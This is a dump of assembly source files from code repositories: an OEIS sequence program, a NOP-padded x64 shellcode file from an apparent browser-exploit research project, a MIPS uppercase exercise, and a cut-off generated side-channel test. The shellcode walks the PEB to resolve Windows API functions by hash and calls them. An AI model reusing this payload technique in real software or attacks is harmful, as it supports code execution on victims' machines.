afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A118640: Result of left concatenation of the next Roman-numeral symbol.
; 1,6,16,66,166,666,1666,6666,16666,66666,166666,666666
lpb $0
mov $2,$0
sub $0,1
seq $2,268100 ; a(n) = 2^((n-1) mod 2)*5*10^floor((n-1)/2).
add $1,$2
add $1,$2
lpe
div $1,2
add $1,1
mov $0,$1
| 19.928571
| 73
| 0.620072
|
8af8001be1bd005b07e9db71bc4a4c86ff968316
| 18,873
|
asm
|
Assembly
|
scripts/_p4.asm
|
BinaryWorld0101201/blazefox-1
|
5204d777db26cea4c0b4b461c4681693cbfe8a93
|
[
"MIT"
] | 1
|
2019-05-14T11:34:38.000Z
|
2019-05-14T11:34:38.000Z
|
scripts/_p5.asm
|
BinaryWorld0101201/blazefox-1
|
5204d777db26cea4c0b4b461c4681693cbfe8a93
|
[
"MIT"
] | null | null | null |
scripts/_p5.asm
|
BinaryWorld0101201/blazefox-1
|
5204d777db26cea4c0b4b461c4681693cbfe8a93
|
[
"MIT"
] | null | null | null |
push rbp
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rbp,rsp
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
sub rsp,40h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
call _0000019e8ea12251
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rcx,qword ptr [rax+18h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov r9,qword ptr [rcx+10h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rdx,qword ptr [r9+60h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov r10,rdx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
nop dword ptr [rax]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea120b1: test rdx,rdx
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120f0
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
movzx ecx,word ptr [rdx]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
xor r8d,r8d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov eax,1505h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test cx,cx
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120f0
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea120d1: movzx ecx,cx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
inc r8d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
imul eax,eax,21h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add eax,ecx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov ecx,r8d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
movzx ecx,word ptr [rdx+r8*2]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test cx,cx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
jne _0000019e8ea120d1
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
cmp eax,6DDB9555h
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea12107
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea120f0: mov r9,qword ptr [r9]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rdx,qword ptr [r9+60h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
cmp rdx,r10
.byte 90h
.byte 90h
.byte 90h
jne _0000019e8ea120b1
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea120fc: mov eax,1
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add rsp,40h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
pop rbp
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
ret
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12107: mov rcx,qword ptr [r9+30h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test rcx,rcx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120fc
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov edx,5FBFF0FBh
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
call _0000019e8ea12191
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test rax,rax
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120fc
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
lea rcx,[rbp-20h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov word ptr [rbp-18h],6C6Ch
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov byte ptr [rbp-16h],0
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
call rax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test rax,rax
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120fc
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov edx,384F14B4h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rcx,rax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
call _0000019e8ea12191
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test rax,rax
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea120fc
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov r9d,40h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
lea r8,[rbp+10h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
lea rdx,[rbp-10h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
xor ecx,ecx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov word ptr [rbp+10h],293Ah
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov byte ptr [rbp+12h],0
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
call rax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
xor eax,eax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add rsp,40h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
pop rbp
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
ret
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12191: mov qword ptr [rsp+8],rbx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov qword ptr [rsp+10h],rbp
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov qword ptr [rsp+18h],rsi
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov qword ptr [rsp+20h],rdi
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
movsxd rax,dword ptr [rcx+3Ch]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov r11,rcx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov edi,edx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test ecx,ecx
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea12226
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov r10d,dword ptr [r11+rcx+20h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
lea rax,[r11+rcx]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov esi,dword ptr [rax+24h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add r10,r11
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov ebp,dword ptr [rax+1Ch]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add rsi,r11
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov ebx,dword ptr [rax+18h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add rbp,r11
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
xor r9d,r9d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test ebx,ebx
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea12226
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
nop word ptr [rax+rax]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea121e1: mov r8d,dword ptr [r10]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
xor edx,edx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add r8,r11
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov eax,1505h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
movzx ecx,byte ptr [r8]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test cl,cl
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea12216
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12201: movsx ecx,cl
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
inc edx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
imul eax,eax,21h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add eax,ecx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov ecx,edx
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
movzx ecx,byte ptr [rdx+r8]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
test cl,cl
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
jne _0000019e8ea12201
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12216: cmp eax,edi
.byte 90h
.byte 90h
.byte 90h
je _0000019e8ea1223d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
inc r9d
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add r10,4
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
cmp r9d,ebx
.byte 90h
.byte 90h
.byte 90h
jb _0000019e8ea121e1
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12226: xor eax,eax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12228: mov rbx,qword ptr [rsp+8]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rbp,qword ptr [rsp+10h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rsi,qword ptr [rsp+18h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rdi,qword ptr [rsp+20h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
ret
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea1223d: movzx ecx,word ptr [rsi+r9*2]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov eax,dword ptr [rbp+rcx*4]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
add rax,r11
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
jmp _0000019e8ea12228
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
int 3
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
_0000019e8ea12251: xor eax,eax
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
mov rax,qword ptr gs:[rax+60h]
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
ret
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
.byte 90h
| 10.915558
| 50
| 0.691941
|
ef24558ebda9f2b1fb809954eaa1b49bd47cbd48
| 994
|
asm
|
Assembly
|
infraestrutura-de-hardware/lista1/JoaoDowsley-2.asm
|
kbcvcbk/cesar-school
|
b857ac651175bd08551303a7e82d16c4a9f621d8
|
[
"MIT"
] | 2
|
2020-05-14T00:29:38.000Z
|
2022-03-08T23:28:02.000Z
|
infraestrutura-de-hardware/lista1/JoaoDowsley-2.asm
|
kbcvcbk/cesar-school
|
b857ac651175bd08551303a7e82d16c4a9f621d8
|
[
"MIT"
] | 1
|
2022-03-02T11:26:37.000Z
|
2022-03-02T11:26:37.000Z
|
infraestrutura-de-hardware/lista1/JoaoDowsley-2.asm
|
kbcvcbk/cesar-school
|
b857ac651175bd08551303a7e82d16c4a9f621d8
|
[
"MIT"
] | 2
|
2020-11-03T09:36:27.000Z
|
2022-03-08T23:28:14.000Z
|
# NT: Below 91 are LowerCase. Above 91 is UpperCase.
# s1 = First String Memory Address
# s2 = Second String Memory Address
# t0 = Temporary character holder
# v0 = Temporary verifier for the IF statement.
# v1 = String size in bytes.
.data
str1: .asciiz "WeLcOmE"
str2: .asciiz ""
.text
la $s1, str1
la $s2, str2
Run:
lb $t0, ($s1) # Load char
beqz $t0, End # If char == TERMINATOR, End Program
addi $v1, $v1, 1 # Increment string size +1 byte
# - Lowercase Verification -
slti $v0, $t0, 91 # 1 If UpperCase. 0 if LowerCase.
beq $v0, 1, Endif # Skips to normal procedure if UpperCase.
# - Lowercase parsing. - (subtract 32 for Upper conversion)
subi $t0, $t0, 32 # t0 -= 32
Endif:
sb $t0, ($s2) # Store into the array position
addi $s1, $s1, 1 # Move to the next byte (str1)
addi $s2, $s2, 1 # Move to the next byte (str2)
j Run # Restarts the loop
End:
sb $t0, ($s2) # Store the NULL Terminator into the second string.
| 31.0625
| 68
| 0.634809
|
3ed6d73e5a91d00a2e882528a89506fe97f11d53
| 5,919
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_ht_zr_/i9-9900K_12_0xa0.log_21829_1256.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_ht_zr_/i9-9900K_12_0xa0.log_21829_1256.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_ht_zr_/i9-9900K_12_0xa0.log_21829_1256.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x3d3f, %rsi
nop
nop
nop
nop
nop
cmp $45858, %r10
movb $0x61, (%rsi)
nop
nop
nop
nop
and %r15, %r15
